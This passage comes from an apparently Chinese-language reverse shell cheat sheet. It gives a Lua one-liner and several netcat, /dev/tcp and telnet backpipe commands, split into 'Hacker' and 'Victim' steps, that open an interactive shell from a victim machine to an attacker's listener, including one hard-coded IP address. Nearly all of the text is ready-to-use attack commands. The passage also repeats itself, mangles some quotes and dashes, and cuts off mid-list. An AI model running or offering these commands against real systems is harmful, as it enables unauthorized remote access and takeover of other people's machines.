p.waitFor()

8.lua版本

<br />
lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘10.0.0.1′,’1234’);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

1	lua –e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘10.0.0.1′,’1234’);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

9.nc不使用-e

<br />
Hacker:nc -lvnp listenport<br />
Victim:mknod /tmp/backpipe p<br />
Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe<br />
不使用nc<br />

Hacker: nc -nvlpp 8080<br />
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1<br />
Method 2:<br />
Hacker: nc -nvlpp8080<br />
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe<br />
Method 3:<br />
Hacker: nc -nvlpp8080<br />
Hacker: nc -nvlpp8888<br />

Hacker:nc –lvnp listenport

Victim:mknod /tmp/backpipe p

Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

不使用nc
